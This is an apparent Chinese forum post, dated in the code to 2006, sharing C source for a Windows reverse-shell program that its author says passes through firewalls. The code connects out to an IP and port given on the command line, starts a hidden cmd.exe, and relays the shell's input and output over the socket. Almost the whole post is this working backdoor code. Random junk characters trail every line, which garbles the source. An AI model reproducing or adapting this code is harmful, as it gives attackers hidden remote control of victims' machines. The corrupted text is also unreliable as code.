这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GKsL~;8"
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/* ============================== >&Ui*
Rebound port in Windows NT -}qGb}F8!
By wind,2006/7 bR8
HGH28
===============================*/ z2nUul(2
#include ;'Vipj
#include CMxjX
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#pragma comment(lib,"wsock32.lib") .";tnC!e
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void OutputShell(); xX&>5 "
SOCKET sClient; ,ORG"]_F
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zr; Y1Xt4
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void main(int argc,char **argv) 23\j1?
{ 77&^$JpM
WSADATA stWsaData; 400Tw`AiJ
int nRet; ZG\ I1
SOCKADDR_IN stSaiClient,stSaiServer; Z>w^j.(
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if(argc != 3) .1z$ A
{ J.e8UQ@=5
printf("Useage:\n\rRebound DestIP DestPort\n"); D@rn@N
return; ! N"L`RWD
} g"dZB2`C
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q1ABnacR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <GT>s
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stSaiClient.sin_family = AF_INET; v1X&p\[d
stSaiClient.sin_port = htons(0); z^a!C#IX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ),y!<\oQ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !8" $d_=h
{ T?]kF-
printf("Bind Socket Failed!\n"); #-gGsj;F
return; =4M.QA@lI!
} n2y/zP>TC
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stSaiServer.sin_family = AF_INET; S`2mtg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /,uSCITD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +zVcOS*-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :9x084ESR)
{ `3sy>GU?
printf("Connect Error!"); [nN\{"~O
return; \Sq"3_m4T
} r_V2 J{B
OutputShell(); EYJ i6#
} JW% /^'
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void OutputShell()
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{ kh>SrW]B%
char szBuff[1024]; '!yS72{$2
SECURITY_ATTRIBUTES stSecurityAttributes; g@k#J"Q'[
OSVERSIONINFO stOsversionInfo; ,2
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]4 K1%ZV
STARTUPINFO stStartupInfo; .n)!ZN
char *szShell; az\<sWb#
PROCESS_INFORMATION stProcessInformation; S-M)MCL
unsigned long lBytesRead; !}L~@[v,uL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Av;q:x?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B.Zm$JZ:
stSecurityAttributes.lpSecurityDescriptor = 0; veX"CY`hn
stSecurityAttributes.bInheritHandle = TRUE; z*dQIC
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n2jvXLJq
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r{_B:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cz7CrK~5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m<FWv2)^
stStartupInfo.wShowWindow = SW_HIDE; )O2Nlk~l&
stStartupInfo.hStdInput = hReadPipe; c9*1$~(v0I
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?x5wS$^q<
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GetVersionEx(&stOsversionInfo); {;Y 89&*R
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switch(stOsversionInfo.dwPlatformId) :~ZqB\>i
{ eC+"mhB
case 1: jsNH`"
szShell = "command.com"; =.qm8+
break; 9k=U0]!ch
default: 't0+:o">:
szShell = "cmd.exe"; v.l7Q
break; "W &:j:o
} |2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u{OS6Ky
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send(sClient,szMsg,77,0); wQD0vsD
while(1) 9lZAa8Rx i
{ nOAJ9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fr}1_0DDz
if(lBytesRead) ,?xLT2>J_
{ )h>\05|T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z>(r9R3{
send(sClient,szBuff,lBytesRead,0); z.2r@Psk
} (|0.m8D~D
else BR& Aq
{ sJ))<,e5I
lBytesRead=recv(sClient,szBuff,1024,0); [K cki+
if(lBytesRead<=0) break; AfbB~Ll Bq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v"P&`1=T
} Pl rkgS0J
} F`Dg*O
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return; v`#j
}